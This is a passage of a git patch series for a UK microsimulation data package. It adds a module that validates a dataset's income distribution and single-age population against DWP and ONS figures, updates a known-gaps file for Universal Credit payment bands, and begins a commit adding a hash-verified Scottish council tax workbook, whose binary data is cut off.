+Calibration fits grouped targets. These checks measure what the groups can
+hide, on the built dataset:
+
+- **HBAI.** Person-weighted medians, means and Gini coefficients of
+  equivalised household income, before and after housing costs. Also the
+  share of individuals below 60% of the median, for everyone, HBAI
+  dependent children, working-age adults and those at State Pension age.
+  Each is compared with DWP's HBAI FYE 2025 estimate and 95% confidence
+  interval (``targets/reference_data/hbai_fye_2025.yaml``), at period 2024.
+- **Single ages.** Weighted people by sex and single year of age, at the
+  calibration year, against the ONS 2024-based projection the calibration
+  targets come from. Ages from 80 up are one band, because the dataset's
+  oldest records are in the 80-84 band (#593).
+
+``compare`` sets a pull request's build against its base's. While the
+same-code spread of these measures is unmeasured (#598), it reports moves
+and flags a measure that leaves the HBAI confidence interval, but fails
+only on a broken or mismatched report.
+
+    python -m policyengine_uk_data.utils.distribution_validation measure DATASET.h5 --out report.json
+    python -m policyengine_uk_data.utils.distribution_validation compare BASE.json HEAD.json [--markdown out.md]
+
+Reports hold aggregates only: no household's values.
+"""
+
+from __future__ import annotations
+
+import argparse
+import hashlib
+import json
+import math
+import sys
+from pathlib import Path
+from typing import Mapping, Optional
+
+import numpy as np
+import yaml
+
+SCHEMA = "policyengine-uk-data-distribution/1"
+HBAI_REFERENCE = (
+    Path(__file__).parents[1] / "targets" / "reference_data" / "hbai_fye_2025.yaml"
+)
+WEEKS_PER_YEAR = 52
+TOP_AGE_BAND = 80
+SEXES = {"male": ("MALE", "Males"), "female": ("FEMALE", "Females")}
+
+
+def weighted_median(values, weights) -> float:
+    values, weights = np.asarray(values, float), np.asarray(weights, float)
+    order = np.argsort(values, kind="mergesort")
+    cumulative = np.cumsum(weights[order])
+    return float(values[order][np.searchsorted(cumulative, cumulative[-1] / 2)])
+
+
+def weighted_gini(values, weights) -> float:
+    """Gini coefficient of a weighted distribution (0 to 1)."""
+    values, weights = np.asarray(values, float), np.asarray(weights, float)
+    order = np.argsort(values, kind="mergesort")
+    x, w = values[order], weights[order]
+    cw = np.cumsum(w)
+    cxw = np.cumsum(x * w)
+    total_w, total_xw = cw[-1], cxw[-1]
+    # Area under the Lorenz curve by the trapezium rule over weighted points.
+    lorenz = cxw / total_xw
+    previous = np.concatenate([[0.0], lorenz[:-1]])
+    area = np.sum(w / total_w * (lorenz + previous) / 2)
+    return float(1 - 2 * area)
+
+
+def hbai_measures(income_bhc, income_ahc, weights, child, pensioner) -> dict:
+    """The HBAI reference measures from person-level arrays.
+
+    ``income_*`` are each person's household equivalised income in £ a week;
+    ``weights`` are person weights; ``child`` and ``pensioner`` are the HBAI
+    groups (working-age adults are everyone else).
+    """
+    child, pensioner = np.asarray(child, bool), np.asarray(pensioner, bool)
+    groups = {
+        "all": np.ones_like(child),
+        "children": child,
+        "working_age": ~child & ~pensioner,
+        "pensioners": pensioner,
+    }
+    out = {}
+    for suffix, income in (("bhc", income_bhc), ("ahc", income_ahc)):
+        income = np.asarray(income, float)
+        median = weighted_median(income, weights)
+        out[f"median_{suffix}"] = median
+        out[f"mean_{suffix}"] = float(np.average(income, weights=weights))
+        out[f"gini_{suffix}"] = 100 * weighted_gini(income, weights)
+        low = income < 0.6 * median
+        for group, mask in groups.items():
+            w = weights * mask
+            out[f"relative_low_income_{suffix}_{group}"] = float(
+                100 * np.sum(w * low) / np.sum(w)
+            )
+    return out
+
+
+def load_hbai_reference(path=None) -> dict:
+    with open(path or HBAI_REFERENCE) as f:
+        raw = yaml.safe_load(f)
+    if raw.get("schema_version") != 1:
+        raise ValueError("HBAI reference: schema_version must be 1")
+    for name, m in raw["measures"].items():
+        if not m["low"] <= m["estimate"] <= m["high"]:
+            raise ValueError(f"HBAI reference {name}: estimate outside its interval")
+    return raw
+
+
+def single_ages(age, is_male, weights, reference: Mapping) -> dict:
+    """People by sex and single age, ages from ``TOP_AGE_BAND`` up as one band.
+
+    ``reference`` maps (sex, age) to the ONS count, with ages from
+    ``TOP_AGE_BAND`` up summed by the caller.
+    """
+    age = np.minimum(np.floor(np.asarray(age, float)), TOP_AGE_BAND).astype(int)
+    out = {}
+    for sex, mask in (("male", is_male), ("female", ~np.asarray(is_male, bool))):
+        counts = np.bincount(
+            age[mask], weights=np.asarray(weights)[mask], minlength=TOP_AGE_BAND + 1
+        )
+        out[sex] = {
+            str(a): {"value": float(counts[a]), "reference": float(reference[(sex, a)])}
+            for a in range(TOP_AGE_BAND + 1)
+        }
+    return out
+
+
+def ons_single_ages(year: int) -> dict:
+    """The ONS 2024-based projection by sex and age, with 80+ as one band."""
+    import pandas as pd
+
+    from policyengine_uk_data.targets.sources.ons_demographics import (
+        _download_uk_projection,
+        _year_column,
+    )
+
+    df = _download_uk_projection()
+    column = _year_column(df, year)
+    if column is None:
+        raise ValueError(f"the ONS projection has no {year}")
+    ages = pd.to_numeric(
+        df["Age"].astype(str).str.extract(r"(\d+)")[0], errors="coerce"
+    )
+    out = {}
+    for sex, (_, ons_sex) in SEXES.items():
+        rows = df["Sex"] == ons_sex
+        for a in range(TOP_AGE_BAND):
+            out[(sex, a)] = float(df.loc[rows & (ages == a), column].sum())
+        out[(sex, TOP_AGE_BAND)] = float(
+            df.loc[rows & (ages >= TOP_AGE_BAND), column].sum()
+        )
+    return out
+
+
+def summarise_single_ages(rows: Mapping) -> dict:
+    errors = {
+        (sex, int(a)): cell["value"] / cell["reference"] - 1
+        for sex, by_age in rows.items()
+        for a, cell in by_age.items()
+        if cell["reference"] > 0
+    }
+    under = [abs(e) for (_, a), e in errors.items() if a < TOP_AGE_BAND]
+    teens = [abs(e) for (_, a), e in errors.items() if 15 <= a <= 19]
+    return {
+        "mean_abs_error_0_79": float(np.mean(under)),
+        "max_abs_error_0_79": float(np.max(under)),
+        "max_abs_error_15_19": float(np.max(teens)),
+        "error_80_plus": {
+            sex: float(
+                rows[sex][str(TOP_AGE_BAND)]["value"]
+                / rows[sex][str(TOP_AGE_BAND)]["reference"]
+                - 1
+            )
+            for sex in rows
+        },
+    }
+
+
+def measure(
+    dataset_path, hbai_period: Optional[int] = None, age_year: int = 2025
+) -> dict:
+    """The distribution report of a built dataset (aggregates only)."""
+    from policyengine_uk import Microsimulation
+
+    reference = load_hbai_reference()
+    period = hbai_period or int(reference["period"])
+    sim = Microsimulation(dataset=str(dataset_path))
+
+    def person(variable, year):
+        return np.asarray(sim.calculate(variable, year, map_to="person").values, float)
+
+    weights = person("household_weight", period)
+    measures = hbai_measures(
+        person("equiv_hbai_household_net_income", period) / WEEKS_PER_YEAR,
+        person("equiv_hbai_household_net_income_ahc", period) / WEEKS_PER_YEAR,
+        weights,
+        person("is_hbai_dependent_child", period) > 0,
+        person("is_SP_age", period) > 0,
+    )
+    hbai = {}
+    for name, ref in reference["measures"].items():
+        value = measures[name]
+        hbai[name] = {
+            "value": value,
+            "reference": ref["estimate"],
+            "low": ref["low"],
+            "high": ref["high"],
+            "inside": bool(ref["low"] <= value <= ref["high"]),
+        }
+    gender = np.asarray(sim.calculate("gender", age_year).values).astype(str)
+    ages = single_ages(
+        person("age", age_year),
+        gender == "MALE",
+        person("household_weight", age_year),
+        ons_single_ages(age_year),
+    )
+    data = Path(dataset_path).read_bytes()
+    return {
+        "schema": SCHEMA,
+        "dataset": Path(dataset_path).name,
+        "sha256": hashlib.sha256(data).hexdigest(),
+        "periods": {"hbai": period, "single_age": age_year},
+        "hbai": hbai,
+        "single_age": ages,
+        "summary": {
+            "hbai_outside_interval": sorted(
+                n for n, m in hbai.items() if not m["inside"]
+            ),
+            "single_age": summarise_single_ages(ages),
+        },
+    }
+
+
+def _finite(x) -> bool:
+    return isinstance(x, (int, float)) and math.isfinite(x)
+
+
+def compare(base: Mapping, head: Mapping) -> dict:
+    """A head build's distribution against its base's.
+
+    Fails only on a broken or mismatched report; flags a measure that
+    leaves its HBAI interval, or moves away from its reference.
+    """
+    failures, flags = [], []
+    for side, report in (("base", base), ("head", head)):
+        if report.get("schema") != SCHEMA:
+            failures.append(f"The {side} distribution report is missing or malformed.")
+    if failures:
+        return {
+            "status": "fail",
+            "failures": failures,
+            "flags": [],
+            "rows": [],
+            "single_age": {},
+        }
+    if base["periods"] != head["periods"]:
+        failures.append(
+            f"The reports measured different periods ({base['periods']} and {head['periods']})."
+        )
+    rows = []
+    for name, h in head["hbai"].items():
+        b = base["hbai"].get(name)
+        if b is None or not (_finite(h["value"]) and _finite(b["value"])):
+            failures.append(f"HBAI {name} is missing or not finite on one side.")
+            continue
+        worse = abs(h["value"] - h["reference"]) - abs(b["value"] - b["reference"])
+        row = {
+            "measure": name,
+            "base": b["value"],
+            "head": h["value"],
+            "reference": h["reference"],
+            "low": h["low"],
+            "high": h["high"],
+            "base_inside": b["inside"],
+            "head_inside": h["inside"],
+            "further_from_reference": worse,
+        }
+        rows.append(row)
+        if b["inside"] and not h["inside"]:
+            flags.append(
+                f"HBAI {name} leaves its 95% interval: {b['value']:.2f} -> {h['value']:.2f} "
+                f"(HBAI {h['reference']:.2f}, {h['low']:.2f} to {h['high']:.2f})."
+            )
+    sb, sh = base["summary"]["single_age"], head["summary"]["single_age"]
+    single = {
+        k: {"base": sb[k], "head": sh[k]}
+        for k in ("mean_abs_error_0_79", "max_abs_error_0_79", "max_abs_error_15_19")
+    }
+    return {
+        "status": "fail" if failures else "pass",
+        "failures": failures,
+        "flags": flags,
+        "rows": rows,
+        "single_age": single,
+    }
+
+
+def render(result: Mapping) -> str:
+    lines = [
+        f"## Income distribution and single ages against the base build: {result['status']}",
+        "",
+    ]
+    if result["failures"]:
+        lines += ["### Failures", ""] + [f"- {f}" for f in result["failures"]] + [""]
+    if result["rows"]:
+        lines += [
+            "HBAI FYE 2025 (DWP), period 2024: equivalised income in £ a week, rates and Gini in per cent. "
+            "A value outside HBAI's 95% interval is marked (outside).",
+            "",
+            "| Measure | Base | Head | HBAI | 95% interval |",
+            "|---|---:|---:|---:|---|",
+        ]
+        for r in result["rows"]:
+            mark = lambda inside: "" if inside else " (outside)"  # noqa: E731
+            lines.append(
+                f"| {r['measure']} | {r['base']:.2f}{mark(r['base_inside'])} | {r['head']:.2f}{mark(r['head_inside'])} "
+                f"| {r['reference']:.2f} | {r['low']:.2f} to {r['high']:.2f} |"
+            )
+        lines.append("")
+    if result["single_age"]:
+        lines += [
+            "| Single ages against the ONS projection | Base | Head |",
+            "|---|---:|---:|",
+        ]
+        labels = {
+            "mean_abs_error_0_79": "Mean error, ages 0 to 79",
+            "max_abs_error_0_79": "Largest error, ages 0 to 79",
+            "max_abs_error_15_19": "Largest error, ages 15 to 19",
+        }
+        for key, label in labels.items():
+            cell = result["single_age"][key]
+            lines.append(
+                f"| {label} | {100 * cell['base']:.1f}% | {100 * cell['head']:.1f}% |"
+            )
+        lines.append("")
+    lines += ["### Flags", ""] + ([f"- {f}" for f in result["flags"]] or ["None."])
+    lines += [
+        "",
+        "These measures report and flag but do not fail yet: their same-code spread is unmeasured (#598).",
+    ]
+    return "\n".join(lines) + "\n"
+
+
+def main(argv=None) -> int:
+    parser = argparse.ArgumentParser(
+        prog="python -m policyengine_uk_data.utils.distribution_validation"
+    )
+    sub = parser.add_subparsers(dest="command", required=True)
+    m = sub.add_parser("measure", help="measure a built dataset")
+    m.add_argument("dataset")
+    m.add_argument("--out", required=True)
+    c = sub.add_parser("compare", help="compare a head build's report with its base's")
+    c.add_argument("base")
+    c.add_argument("head")
+    c.add_argument("--markdown")
+    args = parser.parse_args(argv)
+    if args.command == "measure":
+        report = measure(args.dataset)
+        Path(args.out).write_text(json.dumps(report, indent=1))
+        print(json.dumps(report["summary"], indent=1))
+        return 0
+    base = json.loads(Path(args.base).read_text())
+    head = json.loads(Path(args.head).read_text())
+    result = compare(base, head)
+    text = render(result)
+    if args.markdown:
+        Path(args.markdown).write_text(text)
+    print(text)
+    return 1 if result["status"] == "fail" else 0
+
+
+if __name__ == "__main__":
+    sys.exit(main())

From eb247c646e51fa882d6365ef67beb226666aebd3 Mon Sep 17 00:00:00 2001
From: Max Ghenis <mghenis@gmail.com>
Date: Thu, 15 Oct 2026 08:05:12 -0400
Subject: [PATCH 22/76] List the three UC payment bands with no signal in pull
 request builds

The first CI build of this branch failed the gate on three single-claimant
UC payment bands (24,000 to 28,800 a year). Pull request (TESTING) builds
hold fewer records than the release: across the final calibration logs of
12 recent ones, these three have no signal in 11 or all 12, while the
released 1.58.1 build has signal in all three. A listed gap that applies
to one kind of build only warns as stale in the other.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---
 policyengine_uk_data/targets/known_gaps.yaml     | 16 +++++++++++++++-
 .../tests/test_target_coverage.py                |  4 ++--
 2 files changed, 17 insertions(+), 3 deletions(-)

diff --git a/policyengine_uk_data/targets/known_gaps.yaml b/policyengine_uk_data/targets/known_gaps.yaml
index a1e58e17..de36f53a 100644
--- a/policyengine_uk_data/targets/known_gaps.yaml
+++ b/policyengine_uk_data/targets/known_gaps.yaml
@@ -10,7 +10,10 @@
 # Measured on uk-data 1.58.1 (enhanced_frs_2024_25.h5, sha256 056e80fd) with
 # policyengine-uk 2.122.2 at the calibration year 2025: of 660 targets, 645
 # enter the matrix, 15 have no value for 2025 and 19 of those entering have
-# no signal.
+# no signal. Pull request (TESTING) builds hold fewer records: across the
+# final calibration logs of 12 recent ones (targets with a national estimate
+# of exactly zero), 22 targets have no signal in at least one, the 19 above
+# and 3 single-claimant UC payment bands.
 schema_version: 1
 gaps:
   - status: no_value_for_year
@@ -78,3 +81,14 @@ gaps:
       - dwp/uc_payment_dist/COUPLE_NO_CHILDREN_annual_payment_27_600_to_28_800
       - dwp/uc_payment_dist/COUPLE_NO_CHILDREN_annual_payment_28_800_to_30_000
       - dwp/uc_payment_dist/COUPLE_NO_CHILDREN_annual_payment_30_000_to_inf
+  - status: zero_signal
+    reason: >-
+      In pull request (TESTING) builds no single claimant's UC payments
+      fall in these bands: in all 12 recent builds for 27,600 to 28,800,
+      and in 11 of 12 for the other two. The released 1.58.1 build has
+      signal in all three.
+    issue: https://github.com/PolicyEngine/policyengine-uk-data/issues/593
+    targets:
+      - dwp/uc_payment_dist/SINGLE_annual_payment_24_000_to_25_200
+      - dwp/uc_payment_dist/SINGLE_annual_payment_25_200_to_26_400
+      - dwp/uc_payment_dist/SINGLE_annual_payment_27_600_to_28_800
diff --git a/policyengine_uk_data/tests/test_target_coverage.py b/policyengine_uk_data/tests/test_target_coverage.py
index ba48fe25..c3de4205 100644
--- a/policyengine_uk_data/tests/test_target_coverage.py
+++ b/policyengine_uk_data/tests/test_target_coverage.py
@@ -50,9 +50,9 @@ def test_the_shipped_known_gaps_load_and_cite_issues():
     names = [n for gap in gaps for n in gap.targets]
     assert len(names) == len(set(names))
     # The 1.58.1 inventory: 15 two-child-limit targets with no 2025 value, 19
-    # targets without signal.
+    # targets without signal, and 3 more without signal in TESTING builds.
     assert sum(len(g.targets) for g in gaps if g.status == "no_value_for_year") == 15
-    assert sum(len(g.targets) for g in gaps if g.status == "zero_signal") == 19
+    assert sum(len(g.targets) for g in gaps if g.status == "zero_signal") == 22
 
 
 @pytest.mark.parametrize(

From 0cf62aaa0cb475c7163561780b4b1b77778a3307 Mon Sep 17 00:00:00 2001
From: Max Ghenis <mghenis@gmail.com>
Date: Thu, 15 Oct 2026 08:08:49 -0400
Subject: [PATCH 23/76] Read Scottish council tax targets from a hash-verified
 committed workbook

The Scottish band targets came from a live gov.scot download. When
gov.scot's CloudFront challenge blocked it, as in two of five recent pull
request builds of the same code, the loader substituted a fixed 2025
total spread by fixed shares, so identical code calibrated to different
targets (#596). Commit the September 2025 chargeable-dwellings workbook,
verify its SHA-256, and fail if it is missing or changed. Its Scotland row
equals the targets of the builds whose download succeeded.

Fixes #596.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---
 .../scotland-council-tax-workbook.fixed.md    |   1 +
 .../ctaxbase_2025_chargeable_dwellings.xlsx   | Bin 0 -> 18765 bytes
 .../targets/sources/voa_council_tax.py        | 132 +++-----------
 .../tests/test_voa_council_tax.py             | 172 +++++++-----------
 4 files changed, 98 insertions(+), 207 deletions(-)
 create mode 100644 changelog.d/scotland-council-tax-workbook.fixed.md
 create mode 100644 policyengine_uk_data/storage/scotland_council_tax/ctaxbase_2025_chargeable_dwellings.xlsx

diff --git a/changelog.d/scotland-council-tax-workbook.fixed.md b/changelog.d/scotland-council-tax-workbook.fixed.md
new file mode 100644
index 00000000..d3cdd5fd
--- /dev/null
+++ b/changelog.d/scotland-council-tax-workbook.fixed.md
@@ -0,0 +1 @@
+Read the Scottish council tax band targets from the committed September 2025 chargeable-dwellings workbook, verified by its SHA-256, instead of downloading it and substituting a fixed distribution when gov.scot blocked the download (#596).
diff --git a/policyengine_uk_data/storage/scotland_council_tax/ctaxbase_2025_chargeable_dwellings.xlsx b/policyengine_uk_data/storage/scotland_council_tax/ctaxbase_2025_chargeable_dwellings.xlsx
new file mode 100644
index 0000000000000000000000000000000000000000..1f18c5400b69a0d35fb2d9b00347bb414a95a863
GIT binary patch
literal 18765
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
